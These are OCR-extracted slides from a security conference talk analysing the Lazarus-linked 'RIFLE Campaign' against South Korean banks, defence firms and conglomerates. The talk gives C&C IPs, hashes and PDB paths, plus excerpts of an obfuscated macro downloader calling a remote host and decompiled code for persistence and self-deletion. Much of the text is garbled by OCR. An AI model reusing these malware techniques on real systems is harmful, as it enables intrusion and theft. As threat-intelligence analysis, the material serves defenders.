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Background Knowledge

*OPERATION*

BLOCKBUSTER

Unraveling the Long Thread of the Sony Attack

A Piece of Rifle Campaign

https://www.operationblockbuster.com

Blockbuster Operation
Threat Actor : Lazarus Group
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Background Knowledge

[# Security Response

\/Symantec Official Blog

Attackers target dozens of global banks with new malware

Watering hole attacks attempt to infect more than 100 organizations in 31 different countries.

By: Symantec Security Response [j] BTSN

Created 12 Feb 2017 WO Comments @ : G{fHX J
_—

E: 8- & E e —
Organizations in 31 countries have been targeted in a new wave of attacks which has been underway since at least October 2016. The ~
attackers used compromised websites or “watering holes” to infect pre-selected targets with previously unknown malware. There has been =« .

no evidence found yet that funds have been stolen from any infected banks.

The attacks came to light when a bank in Poland discovered previously unknown malware running on a number of its computers. The bank :—;i:—f_?::ffzf
then shared indicators of compromise (I0Cs) with other institutions and a number of other institutions confirmed that they too had been -_—

compromised.

http:.//www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware-0
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Background Knowledge

ANALYSIS

As stated in the blog, the attacks are suspected of originating from the website of the Polish Financial
Supervision Authority (knf.gov[.]pl), shown below:

& DZIENNIK URZEDOWY V=

KOMISJI NADZORU FINANSOWEGO e

Finansowego

worowidz  Organy wydajqce  Pobieranie  Centyfikaty  Informacie

List | -
- - e
ista pozycji AT
= -
Poiygia - Dala akiu Data publikacji Tytul Pl
Py 23 ) ) ‘ Komunkat Komsy Nadzon Fransowego 2 dnia 27 stveana 2017 w S M & Wys Ok it Ak Symad e Slogry ¢ . -

|. 1 “" u'. ) . L ‘ -

! 27.01.201 1.01.201 vt 7

http://baesystemsai.blogspot.no/2017/02/lazarus-watering-hole-attacks.html
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Background Knowledge

20th Mar, 2013

3.20 Cyber-terror (A.K.A DarkSeoul)
- i = o 7 ——
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Background Knowledge

3.20 Cyber-terror (A.K.A DarkSeoul) i
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Patch Management Servers were controlled over by attackers -

Lots of PCs and Servers Were"shutdown at the same time (20th March, 2013)
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Background Knowledge - 3.20 Cyber-terror (A.K.A DarkSeoul)

Victims : Major 3 Banks and Major 3 Broadcasting Companies in South Korea
Almost 16,000 CD/ATM and 26,000 PCs & Servers totally Unusable

| Luke X S H2R
P @LukeCleary

@QW 7VOA

KBS staff member’'s Laptop Screen
damaged by 3.20 Cyber—terror

BootDevice Not Found
Please install an operating system on your hard disk.

Hard Disk - (3F8)

FZ System Diagnostics

For more information, please visit: wew.hp.con'\go\techcenter\startup
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Cyberterrors in South Korea

Cyberterror Timeline in 2016

i Fake Softcamp DRM Solution

Feb : : e e .
—o Malware using Valid Codesigning Certificate of Initech

M ofe
—0 MLSoft tco!stream Vulnerability

M . i
—C Nicstech SafePC Vulnerability : Season_ 1. —

= w-Mar_w —— i
Malwére using Valid Code5|gn|ng Certificate of IBLeaders g
July . —
o Personal Data Breach - Interpa ' a EE— =
Aug e ———— ——— e
- Iack‘sheMpaxaM : e =

: N|cstech SafePC Vulnerablllty Season 2
O Military Cyber Command Cyber-terror
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Cyberterrors in South Korea

Trend of Cyber-terrorin 2016

Focusing on 3rd party IT Solution Provider
installed on Conglomerates

—_—— — . ’h. e —— —
i g— ” o - — . e - —_— " — " -

b “ ‘ 7 & . - .‘ s . *‘ ' —~—— J l— b'..‘ -
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RIFLE Campaign

s ol R U “' - ' I —— B B B EEEEEI

ADEX Operation

Softcamp DRM Malware
Fake Initech Malware

MLSoft tco!stream Vulnerability
Nicstech SafePC Vulnerability

HackCon : The Norwegian Cyber Security Convention

3.20 Cyber-terror (DarkSeoul)
BlackMine Operation

Military Cyber Command Cyber-terror
Blacksheep Operation

Rifle
Campaign




RIFLE Campaign

15th Feb, 2016

SoftCamp DRM Malware Discovered

16th Feb, 2016

Initech Malware Discovered

- dubbed “Rifle Malware”
17th Feb, 2016

Interesting Decoding Method Discovered

Mar, 2016

Correlation between Initech Malware and Past Incidents Discovered

Mar, 2016

Dubbed RIFLE Campaign
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RIFLE Campaign

Rifle Classification

f /' "r I

N’ |
'\

Type Features PDB (Program Data Base) Path
- , - " E:wDataWwMy ProjectswTroy Source
1 Rifle Download additional malware (sec.exe) Codeticn 1 st¥riflewReleasewrifle pdb
: , : E:-WDataWwMy ProjectsWTroy Source
. Sniffer  Send Infected PC’s information to C&C Server CodeWtcn 1 stwsniffer - CopywReleasewdll like exe ndb
== Server Installed on C&C Server and communicate with E:WDataWMy ProjectsWTroy Source

Rifle and Sniffer

CodeWtcp 1stWserverWwReleaseWserver.pdb

W
| \"

4 ’ 'IJ' W \

Y
A

}
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Related Cases

HackCon : The Norwegian Cyber Security Convention




RIFLE Campaign

Rifle Campaign - Initech Malware

Sample Information

File Name MD5 File Type

- .. iniSignCrypto.dIl C2A171716FF72B8C8965DFB3CD3ECCFF DLL s
——

- —
-a-.( .,...-o’a— _,-_-cv:—-.-cs -v‘"-

40+ Varlam“

e — = . 3 - ‘_'s‘ S— E— - ~ ~—cm oy - > TR,
» - - - - - v
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RIFLE Campaign

Rifle Campaign - Initech Malware

= Verison Abusing Valid Certificate
oy 0 Sianing 2010 CA stolen from IT Solution Company “Initech”

OI= M AEH(S): Certificate status
ZHIE Q1= MLICEH
This certificate is OK

2SM SIS
=HHE S MELILCH
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RIFLE Campaign

Rifle Campaign - Initech Malware

1 2

Il

e

FTEEEEE

Initech, Inc,

SA 38X
2SA% 8k
« 2 ZEFH HAAMMHAM = 2ZESHE ZH2UELIL
« 22T AZERIHI B REE 215 2AELILE

VeriSign Class 3 Code Signing 2010 CA

=& 212 2015-10-15 22" 2017-01-14

o= A Initech, Inc, e
Issued to: =
= Al VeriSign Class 3 Code Signing 2010 CA |-
Issued by: —
oF |2 2015-10-15 SH 2017-01-14 =

Val!g* frp m* ——— ""_’LQ- F
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RIFLE Campaign

Rifle Campaign - Initech Malware

Flow

create and execute guifx.exe Not Identified
- /run not exist . Autorun Registry i
. - — - create Mutex -») ASDASDASDSA ..*

e S P | — o~ %_ —-"H
CheCk EX@G—AI’QS B s — > - | ——— 0x1055 : Create Additional Malware (sec.exe)
B — T e — -
! . 0x2746, 0x2744 -VValth_gA‘or62—Gommand e o
=~ /rug exrst S e ——— =
S — = S __"55«‘?"‘"‘“";"’ i | 7"; = _.semame_‘_,‘. T T e - e
s - o Gatﬁe*mg | aGE'rriputername | SendittoC2
- OS5 Version = 2 -

Network Adapter Info
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RIFLE Campaign

Rifle Campaign - Initech Malware

C&C Servers

IP

Country

Allocated

192.99.223.115:80

— 175.117.144 .67

Canada

Republic of Korea

............................................................................................ —

Republic of Korea

— T M — e g . e
o — » T R
"
n—— .
S — -
- — — -~ k-
—— P~ s - = _—
-

Unknown

Jung-Ang University

Catholic Chant &

~ Contemporary Music
Internet Broadcasting _ —

(caccm.org) —
e e —
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http://caccm.org

RIFLE Campaign

Rifle Campaign - Initech Malware

Created File
C:WProgram FileswCommon FilesWGraphicsWaguifx.exe

Mutex
ASDASDASDSA, MUTEX394039 4830023

PDB Path

E:WDataWMy ProjectsWTroy Source CodeWtcp 1stWritleWReleaseWrifle.pdb
E:WDataWMy ProjectsWTroy Source CodeWtcp 1stWsniffer - CopyWReleaseWdll like exe.pdb
E:WDataWMy ProjectsWTroy Source CodeWwtcp 1stWserverwReleaseWserver.pdb
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RIFLE Campaign

Rifle Campaign - ADEX Spearphishing

ADEX

Seoul International Aerospace & defense Exhibition

Spearphishing, target Military Defense Industry —

ME] Wiz WM B Rl MAED LD UUELD A

aW I T A N R R N e

ALBEANPE S 2O
A A =] WS 2FLH
- o ‘e -

- re-

Samsung Thales

Samsung Techwin

Agency for Defense Development

Doosan DST (Defense Systems & Technology)
Hanhwa Defense

LG CNS

LIG Nexone

y 201399 A Z22|0|xx Beotq L-F XA HC -

e EEET A HIFH = £ 11 E H| |
R | ;A;ﬁ:;i 2 =21 3365 010 =08- 535I Uiy M52 - CH/CRAE

12 2 N 4 el 2 =21 3428 010 7937 2774 HASSZ2AMACHE = ——

13 3 T3-SR 2 2 221 0701 010 =712 4478 TEEEERE P ESE :_‘,\

|4 1 L2 st 2 221 2810 010 -074 G186 W — :

Y ) 2"5 JEH TP St 1 A 1 e A -ﬁ%_ﬁ'—?%dﬁllﬂ :H%?.—_' | . - -
= 16 b ERR HEE R 2 =21 0779 010 =26= 4363 HolsM=goy | HRMAAY| et = \\“

- |7 7 S AQOST 6456 05:2 010 Z472 0311 APSI S =TT ) '
18 B LA DET 5 z80 £91S 010 =737 7315 0 BEAE s FD=HA S AE Y
il Y g L 28U GUJU UIU Uz 1220 UG L SN SN S 2E

- 2 11 2= 3-3“.;"_2.“3? 3+ S0P TIRYS I <55 A I SH H -

2l | EXREYEHEE R 2 =20 2784 010 =09- 7548 M= =204 JE '

79 12 BIZE=S TAe 5 =51 09584 010 Z61= 5390 P Z2OHEY S ZH PIE e
—e— 23 13 sragis) 7147 1628 010 257 2346 =g -zt L ————
S 24 14 =g | P Y8 /419 LU _UYs Ldy! FSkaa IHY ALY R
':},‘:.":r:‘ 5 15 K.a.T 5 799 N&53R NN "5R= NI75 nie A “-d_..# :
e |6 l<.a.T 478 0712 010 =967 9513 AR A - : o - - e T —

22| 17 JiTiEM oEA2A 2 £09 7847 010 4'0= 1164 SEMRC e B . e o G

28 18 (= )OI 2] 2~ <IE| L =37 81-0 010 425 1191 Atk — : o e - - - -

- . S| E_ﬁ&(—’f—] 28U LYZY U Sl e dd F & D _GF;} A A r.HJI"E’_E E I Att h t

an N EAZ-C (=] S "SI 2INL_NINn =574 2170 LS lEHLE I I lal aC I I len

31 : L CY5 6357 7783 010 =027 0121 ZEIARIC- / ACIEREIM R A é

g2 ez (Hc|-go 8l T =31 0401 010 =34= 851 £

e (Weaponized macro document)

4 ! )22 At e D LT PN gritE s — .

35 i MEA A ED 5 =Nk RN39 NIN “55= N3R? e i 8 —

36 6 (F 0l H ZOHAEI =53 2075 010 7 5% 9308 —> AD EX Pa rt|C| pa nts LlSt

37 7 REEE TR z69 9900 010 87 8322 N=T s [ HTPHE
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RIFLE Campaign

Rifle Campaign - ADEX Spearphishing

dUg AR @ From : ADEX Steering Committee

ah= Atz [EEEE T : :
ieanix 201638 _ ) To : xxxxx@lignex1.com
A g_. A Tl s <o =
\?;SIPOII f,';} =l i Contents
X SADEX201 MEE oloi We provide participants list as an attachment.
: It you're not able to open Excel file, please
Aviogg S0 A w7kl 24 RE BA AL EA a9 w2 | enable Macros in Excel
ZHE Y
o 2] $-9] A FaprmrerergmreErereaveae S A0 FE22 T AHY 5 AU Thanks.

A& ADEX 20158} F7 A v ohal Z2i ot 5 A 581 oY & ) F-of]l FadhAl 7] vl o3 A] ghH F A A 3] o 5:’ Attachment
2015 Seoul Airshow Result and Participants list.xIs
3 oy A v A Fof o]n|A] 7} A 2 St A A v A 27 FE AAEA 2 BAE gy,

= ‘:‘:“
ARG . . . o .
Disguised as ADEX Steering Committee =
& funnel72@ hanmail.net 2015 ME0(0]4 27}

HEXHHC XIS
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RIFLE Campaign

Rifle Campaign - ADEX Spearphishing

Macro
Private Sub cocZTmjFpAGCNfg()
Dim ZgzHxdXYWcMTbrS As String, RiXZRrTywfSoeUjtcc00 As String, qyLnGmk 222 < F“e;“;;g.“;'l*e}m
SOCQXpbf As Strlng Key UX1~ exe.baLnha
RiXZRrTywfSoeUjtcc00 =|Decrypt("fyf/cbMoib") B
qyLnGmK = Environ$("tmp") & "\" & RiXZRrTywfSoeUjtcc00 After DeObfuscating

Obfuscated m—ss—s——lp-
- Sub Ox1

- ZgzHxdXYWcMTbrS = |Decrypt("qigq/qmfi@622/622/:7/96200;quui") o

opnsdWeHjTkoriHkPzvjEu @, ZgzHxdXYWcMTbrS, qyLnGmK, @, © . http://158.69.115.115/help.php

T—

. 1 i i 1 :—_ﬁ ahnLab.exe —
EJ ;LEWEtQLp PADX O, “opens, qyLnGmK, , (VDNULLSEFing, viNormalrocus m * ahnlab = Well-known local Antivirus Vendor in SouthKorea -~
=1 u ” - '
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RIFLE Campaign

Rifle Campaign - ADEX Spearphishing

ahnlLab.exe
File Name MD5 File Type

ahnLab.exe 62FDF4822431D4C82B78E602AB3558AD EXE

File Size 95744
- MD5E betdfdoZ2d31ddc82b /oeblZab3558ad

—

File Type EXE e

I E.d l f 1l t. M' It V. l C 8 ——
e Ce— =
' e i Ih't
. . :- — _—- T
. g
e T e T
D e R R
e T — * ‘-*-‘-_ e —.‘}V‘«o oy
——— e el . e
i S _SSSS—— = : : e e T e e : - e = — - e N
——— S _— - : - T i P AR O = — v Y teny > = = —e - - —
» e  rf T _ -— e . — - o » ~ - - . — g . N — o . - r . - S > —- o ——
o R e > - — - D o ' > - - - R e R~ ﬁ"“ T
¥ ~ 3 - - - T —  ~— g < — . T — B - -y -
= - e - o - R —— Py ._".;' - B — - - - «*—%_‘— ’ o — ~
P ———— > - i - - - - — o — -— . - e - :&‘;‘ . e ——
i
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RIFLE Campaign

Rifle Campaign - ADEX Spearphishing
Comparison : iniWebSSOCrypto.exe & ahnLab.exe

FQ 3C 9 z2 AC #9|

e

b cxiAEEZ| 7| MY
B &= 43 (0S HiH)
b 88 +X (3%H %)

b g2 58 (0S HH)
B 28 8 3EFEHY)

Same PDB Path -
E:WDataWMy Projects | | _ S
E‘ZbdeWtcm stwriflewReledsewrifle.pdb -~ —

_—

L - - - — — —_
= - — - - -— * e
- TimeDateStamp  2016/01/30 09:31:12 : TimeDateStamp ~ 2015/12/11 15:03:41 e ———
— - - :; 'l a’ 1. - - s*.—- -_g—' —— e — —
““_ - e ; - ‘7”-;__,‘_?": —— - i g—— . =
PE Type  EXE (Executable) : PE Type  EXE (Executable) e T e ;?; : p::?:f%’%_‘—
30 | | e s e o S
TSt Subsystem  Windows Graphical User Interface & Subsystem  Windows Graphical User Interface R e s o T e e
T : - < 3 e

- — -

{iniWebSSOCrypto.exe) == {ahnLab.exe)

. f H ‘J = . - = : ':\_;_,-‘_‘ ‘___.“d‘.,’ = ﬁ:\_-\k»‘ —
PDB Path  E:\Data\My Projects\Troy Source Code'tcpistirifle\Releaselrifle.pdb PDB Path  E:\Data\My Projects\Troy Source Code\tcpistirifle\Release\rifle.pdb M e~ - e a—
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RIFLE Campaign

Rifle Campaign - ADEX Spearphishing
Comparison : iniWebSSOCrypto. exe & ahnlLab.exe

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevinstance, LPSTR 1pal  1lint  stdcall WinMain(HINSTANCE hinstance, HINSTANCE hPrevinstance, LPSTR 1p
{ 2{

const CHAR =u4; // esi@ ‘ 3] const (n.-" uuu- // p«,lm

mhmes waallC e 222 ~ndAdraa RTINS Y . AL

1NT VUY; /7 [SP*8N] |DP-41CH JiE1

CHAR Parameters; // [sp+*Ch] [bp-418h]@2 & 8 u = GetCommandLineA();

CHAR String1; 7/ [sp+48Ch] [bp-18h]E2 ® 9 = { DUORD *)sub_401C808(&v/);

' ® 10 sub 02g

vl = GetCommandLineA(); ® 11| if ( !strstr(uh, “Zrun') )

v5 = func_parsing cmdline{vi, &u?%); // parsing command line 12| ¢

sub e 2e-tgEE p—— ® 13 sprintfA(&Parameters, *“/c del /7q W'%sW" >> NUL"™, »u5);

if eStrStradus, "/run™) /7 if execute the file witho ® 14

— ® 15 ~hei1Executea(ﬂ, 8, "c:twindowsti¥isystem32iiticmd .exe', &Parameters, 0,
- sprintfA(&Paraneters, "/c del /q W'%sW' >> NUL'™, *( DWORD =)uS5); ® 16 . e
oy 17 3
Se— lstrcpyA{&Stringl, "15Sxfak x|S|v|{jb<=S1bk?jwj");// c:WuwindousHsystem32 ¢ 18| return sub_482770();
g, hnLab :
if ( String1 ) <a n a .exe = R
{ ‘\ = = = s
- v7 = &Stringi; | — e T —
- (- e e
- { e — ot
— *u6 “= BxFu; /7 XOR String1 with OxF e
N o B e
e T+ — o e
= uhile ( w7 ); ypto. e e

ShellExecuteA(O, 0, &String1, &Parameters, 0, 0);// delete itself s e -“” =

E;itProcess(a);

b

if ( OpenMutexA(Ox1FB6881u, 0, "MUTEX394039 4830023') )// If mutex is alrea
goto LABEL 6;

CreateMutexA(B8, 6, "MUTEX394839 48308023');

return func_connect c2(); /7 if excute malware with /r
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RIFLE Campaign

Rifle Campaign - ADEX Spearphishing
Comparison |n|WebSSOCrypto exe & ahnlLab.exe

GetModuleFileName
lstrepyA(&Stringi

GetModuleFileNameA{(O, &Filename, 0x1806u);
CreateDirectoryA("C:W¥ProgramDatat#Graphics™, 0);

= &Stringi; u8 = BetLastError{):
if ( String1 ) ul = CreateFileA{(&Filenane, Bx80000000, 1u, 0, 3u, 0x8Bu, 0);
{ ul = ul;
vl = &Stringl; hObject = uB;
do if { v8 == (HANDLE)-1 )
{ return 8;
*0 "= BxFu; nNumberOfBytesToRead = GetFileSize(u8, 0);
vg = ++ul; uZ2 = operator new{nHumberOfBytesToRead);
b if ( ve && v *= 183 )
while { =u1l ); {
b if ( v8 == 3 )
CreateDirectoryA(&Stringt, 0); // create directory {
v2 = GetLastError(); // Error code CreateDirectordA("C:W¥Program FilesWCommon FilesWGraphics'", 0);
v3 = CreateFileA(&Filenane, O6x80000008, 1u, O, 3u, Bx86u, 8);// create file u3 = CreateFildA("C:WWProgram FilestWCommon FileskGraphicsWiquifx.exe" ] 6x40000000u, 3u,
- vy = u3; if ( v3 == (Hanb
= 4if ( v3 *= (HANDLE)-1 ) return 0;
{ ReadFile(vi, vZ, nNumberOfBytesToRead, &NumberOfBytesRead, 0);

_— - - o— . - - — -~

Same Created Filename

— GUIFX exe

LDOLT prn{uou llll_;l, LD\)_] mgney lerl-)l.. Uy ajyg lerlOﬂfll-g‘l'.l.l Jeof 7 L .WTT Ugl(
v = func_decode(&Stringl); . = (HANDLE)uZ®;
CreateDirectoryA(us, 0);
o lstrepyA(&FileName, "L5S 3} hynb/Ifcj|SL bb a/Ifcj|SH}nBgFLl|ShzFfiwtjuj");,
func_decode(&FileNane);

el ¥
b —
else
{
Lstrepyf(&FileName, I"L5S_} "hinbKn{nSH}nBgfl|Shzfiw?juj"); ReaaF11e(u1, v2, nNumber0fBytesToRead, &NumberOfBytesRead, 8);
u7 = &FileName; // C:WProgramDataWGraphicsitquifx, WriteFile{uv3, v2, nNumberOfBytesToRead, &NumberOfBytesRead, 0);

if ( FileName ) Buffer = GetTickCount():

{iniWebSSOCrypto.exe) {ahnLab.exe)
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RIFLE Campaign

Rifle Campaign - ADEX Spearphishing
Comparison : iniWebSSOCrypto.exe & ahnLab.exe

if { Regﬂpenkeyﬁ(Hké?_LUCﬂL_MRCHINE, "Softwarettiicrosof tiilindoustitiCurrentUersiont¥Run', & uv1 = 8;

&& RegOpenKeyA(HKEY CURRENT USER, "SoftwareiitiicrosoftiiindowstitiCurrentUersionRun', &pl 1strcpyA(&Stringl ) "W i{xn}jSBF1} | i{SXFak x|SLz}}ja{Vj}|F asS]za");l// SoftwarelticrosoftiindouwstCurrentVersiont#Run
£ u2 = &Stringi;
RanlPTacalloaufnhbDoculty e if ¢ Strinal )

Same Autorun Registry Path
SoftwareWwMicrosoftwWindowsWCurrentVersionWRunWGraphicsWaguifx.exe /run

BNEYLIUSEREY(PIKNESULL ) U2 = ++u3;:
if ( tvul 3
|| (RegOpenKeyA{(HKEY CURRENT_USER, while ( *ul );
u5 = RegSetVUalueExA{phkResult, b3

—— RegCloseKey(phkResult), RegCreateKeyA(HKEY CURRENT_USER, &Stringl, &phkResult);// create registry to run automatically when infected PC is reb
: ' ¢ if ( phkResult )
- tus) ) | :
:
if ( vig ) : strepyf(&Stringt, “HynBgfl|™); /7 Graphics
- { - . Sl

WinExec(&Filename, 8);

e =
—— e — ——— —

-— ) | — == — — e
1 } . = 3 i X e 3 i - T — —
~ return B: . - ) : ¢ - e ~——— iy

= - . - - V ‘:ﬂ_ :.—'__ - ’P_’di:
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RIFLE Campaign

Rifle Campaign - ADEX Spearphishing
Comparison : Initech Malware Variant & ahnLab.exe

.data:00410F40 ; char name[] -text 00402894 push edx
.data:00410F48 name db *175.117.144.67',8] ; DATA XREF: sub_u481448+1970 -text:08402895 push offset name
.data:00416F40 : sub_482848+5570 -text:0040289A call _strncpy
.data:00416F4F align 26h text:0040289F add esp, OCh

Same C&C Server

175.117.144.67

— — o ‘ =
b.-:?-—: e - — e ™ .,-.:.: . . - ‘ — ’
= dInitéch-Malware Vafiant) -~ ™ .

——.
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RIFLE Campaign

Rifle Campaign - How they hacked Initech and stole Certificates
“Nicstech” DLP Solution Vulnerability

% DLP : Data Loss Prevention

Initech uses this solution for internal security
and 67 financial companies also use this solution

. ‘ d | I SI
. _________________________________________________________________________________________________________________________|
— S — - v - — - —— T — P - e -
— . T — - O — - — :
y T na— A - - — — - T —
) ’ -. - - . - - - o “- -A‘ 7—. —
2 _ e, T L e o e e e e | = e
‘L - » -
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RIFLE Campaign

Rifle Campaign - How they hacked Initech and stole Certificates
“Nicstech” DLP Solution Vulnerability

Oday Vulnerability

File transfer & Remote Command Execution
(Encryption Key was hardcoded)

Vulnerable Port 5560/tcp
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RIFLE Campaign

Rifle Campaign - How they hacked Initech and stole Certificates
“Nicstech” DLP Solution Vulnerability

File Transfer & Lateral Movement
Command Execution to
by using Nicstech Vuln Build Server

ATTACKER

Product Source code
& Code-signing
Certificate Leaked

Initech Internal Network
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RIFLE Campaign

Rifle Campaign - SoftCamp DRM Malware
Sample Information

Input File C:Ysdslogin, exe

File Size 615248

MD5 33e09cf92ddaabdf /hdac20el86a5 709

File Type EXE

PEid Information Microsoft Visual C++ 8 [Overlay] =+
___3igned signed and the signature was verified
== ProductName sD5Login

FileVersion 3. 0,3, 2b

~ . Comments

- CompanyMName softCamp Co,, Ltd,
. FileDescription SDSLogin
" InternalName SDSLogin
LegalCopyright (C) SoftCamp Co,, Lid, All rights reserved,
Legal Tradermarks
OriginalFilename  SD5Login, EXE
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RIFLE Campaign

Rifle Campaign - SoftCamp DRM Malware
Sample Information

Dropper
File Name | MD5 File Type
Unknown (Dropper) 741FADDAO7D9C2E41D6D8BOF2E91BC5E EXE
Unknown (Dropper) EE//8BES03FDA//0EE2F40E5TEDFD5S95 EXE
— el | — — i
- Dropped Files e
- File Name — - MD5 2 File Type
_ SDSLogin.exe 33E09CF92DD8AB4F /5DAC20EO088A5709 EXE ey
kbinst.exe BB710DBICO3EBCAF8D6EBBSBS577EETS EXE =—=g
~  SDSinst.exe 5CA4562A5BFA15417707D3168161CB23 EXE i
wsupdatemgr.dll ATF92B84614D7F07AB84C7A97675B299 DLL
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RIFLE Campaign

Rifle Campaign - SoftCamp DRM Malware

Flow .
S Document

Security;

SDSLogin.exe | & o ssswed Not Identified

(o [
Dropper \

1) Delete wsupdatemagr service and SDSDec.dll
2) Create kbinst.log (IP and Sysinfo from infected system) ':{> Send it to C2

kbinst.exe

or
SDSinst exe 1) Create ud.bat to delete SDSInst.exe itself

2) Drop wsupdatemagr.dll
3) Launch service with wsupdatemar.dll by using svchost.exe
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RIFLE Campaign

Rifle Campaign - SoftCamp DRM Malware > C&C Server

C&C Servers

IP Country Allocated

- 165.194.117.35 Republic of Korea Jung-Ang University
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RIFLE Campaign

Rifle Campaign - GhostRat Operation

e
- P |
\—q
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RIFLE Campaign

inetnum: 175.45.176.0 - 175.45.179.255

Rifle Campaign - GhostRat Operation netname: __STARIKP
Start from C&C Server of Softcamp DRM Malware deser:

country:
admin-c: SJVC1 -AP

tech-c: SJVCI1-AP
status: ALLOCATED PORTABLE
203.241.248.108 210.xXxXX.xxx.24 1
In-Jae University (Central C&C Server)

Softcamp Malware C&C Server

Oday Attack

ATTACKER

175.117.144.67

Transfer Data

—

Victims (SK Group, Hanjin, Korea Airline, KT)
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RIFLE Campaign

Rifle Campaign - GhostRat Operation

Damage

@ Stolen Documents : 1TB / 42,600 files
@ 140 000 PCs of 27 companies infected
€© Victimized companies
- Defense industry : Hanjin Group affiliates (Korean Air)
- Telecommunications networks : 17 SK Group affiliates, KT

- They're all Conglomerates

OE P B2

S
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RIFLE Campaign

Rifle Campaign - How they hacked Victims
TCO!Stream Vulnerability - Oday until March. 2016

TCOIStream : PC asset management system
Desktop Integrated management software that manages all the PCs connected to

the network. Some of its functions include various types of error management,

““hardware management, software management, software installation and*upgrade

—-—

and illegal-sottware check—up. = ==

M‘,__“

e
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RIFLE Campaign

Rifle Campaign - How they hacked Victims
TCOIStream Modules

Filename Service Port Functionality
EtcCmds.exe 3511 TCOlstream Server Health Check
"""""""""" Ferclexe | 3523 ~Administrator can control Client PCs remotely
; 3524 File Transfer & Receive, Deletion, Execution
tsrvctl nt.exe 3526 Remotely File/Command Execution S
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RIFLE Campaign

Rifle Campaign - How they choose Targets and How FSI detected it

Response / \

Financial Company

I
E
L
E
[
1
1
1
1
i
[
[
1
E
b
i

4

Provide
Information Sharing

Security Engineer

Analysis and Response
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RIFLE Campaign

Rifle Campaign - How they choose Targetsand How FSI detected it

- E2N
. e NAEN
e .
AL
-w

-
RN -
LT
-

2,
Vi £"
ey
p=N
LR AL
hrd

0

-

¢
:

> ()

"\’

Vulnerable Port Scan ;.
FSI Security Operations Center : " e
b W 2

detected abnormal scan events A

-
-—
<

3511 TCP Port scan (12/Jan/2016) o

-
~r
-

N
PO
-

Source 175 117.144.67 (Korea)
Destination 267 F|nanC|aI~ zompanies
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RIFLE Campaign

lele Campalgn Military Cyber Command (MCC) Incidents
’ 3.200 PCs Infected
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Correlation Analysis
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RIFLE Campaign

- |

Correlation Analysis : Trace their Footprints

Decoding or Encoding Method Used Vulnerability

- Decoding Code, Decoding Key Created Files
PDB Path Created/Process

C&C Server Registry
- Server IP and Command Code Internal String

Font (If Document malware) MUTEX
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RIFLE Campaign

—
- —

- Correlation Analysis

oo TR R AR AR
NATIONAL NOTIONS (V. |

> T . o - G T Y Y g
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RIFLE Campaign

— _—

Correlation Analysis

IR E T A AR
NATIONAL NOTIONS G0

eG4t ]

e S
N < S wE 0j|2 =4 [Compatibility Mode] Q-

nsert Design Layout References Mailings Review View Table Desi

KP CheonRiMa

Frequently Used Fonts

DengXian, DengXian Light Chinese Fonts |
g o0naPong, KE L5 RedStar OS Font

KP KwangMyeong
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RIFLE Campaign
- —— -

!Correlatlon Analysis - RIFLa
Decodln%Method DA PseudoCode

w al




RIFLE Campaign

——

Correlation Analysis

LOBYTE(=xorkey3) = 0xD1u;

vardata = vdata;

Xxorkey2 = 0xA2u; xorkey1 - 4byte
Xxorkey2 - 1byte
Xxorkey3 - 4byte
Xxorkeys4 - 1byte
dwResult - 4byte

Be careful with Endian

xorkey x2839DBD

dwResull

xSﬂ?9332

Sy, 111]3 o]

AAE1SLD _ ARMNO 10 B0 B8 7 HBE d_ BC 6A B4 68 B8 18 88 88

0001550 | (CNPKNCTEENPT ps ¢ Tmmeeamt Y T

BEB156D : e F a1088156A BB ‘a1 At 185 FF 7E

aaess/b 7D Fa 89 S0 F8 EB HAA157A i3 l 89 SD F8
daei1s5s8Dd D8 32 D9 88 1E BA HOB158A 32 DA 32 D8 32 D9 88 1E

BAA153D0 D CC CC 55 8B EC
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RIFLE Campaign

\

Correlation Analysis

PDB Path | E:\Data\My Projects\Troy Source Code\tcpistirifle\Release'rifle.pdb

PN
EE 2 TEECIBER3488CL158
- - o

el P@eoa®asdo] § 117.144.67

oy e PN
DN USRS © A0 {FFDEMIDG253874
r - -

oy Py sy
85 116 BT YEORENEL A MEPIAKAL 260E98
— - el

12023C886

HackCon : The Norwegian Cyber Security Convention




RIFLE Campaign

Correlation Analysis - Relationship Overall (Maltego)

Sy
& & & £ &

: Blackmine Operation
Ghostrat Operation Softcamp DRM Malware AKDOOR (BMDOOR) lncldents

\4/// x

Ef ) @f Ef

203.241.248.108 Same XOR Key Rifle Decoding Same XOR Key ADEX Operation Initech Malware 121.155.239.173

/

&y

9’,

Military Cyber Command
Incidents

&,

DarkSeoul (3.20 Cyberterror) Blockbuster Operation

_
i, .5\1::”,
Efv sk ¥
Code Similarity
175.117.144.67 (PDB, Created Filename and Path
\/ , Registry)
Y

——
- BInQ

caccm.org
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Summary & Conclusion
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Summary & Conclusion

*’

Cyber Attack in South Korea

- Too busy from last year. even until Y
- Massive Cyber Attack stilllon going and will Keep going
- Attackers continuously try to find Vulnerability of

Correlation Analysis

- Know your enemies and Draw a Big Picture
- Build a Strategy and Tactics to response against Advanced Threat in the Future

More We Share. More We Find Out

HackCon : The Norwegian Cyber Security Convention




Thank You

kikwak@ftsec.or.kr
skype, hangout : kjkwak12@gmail.com
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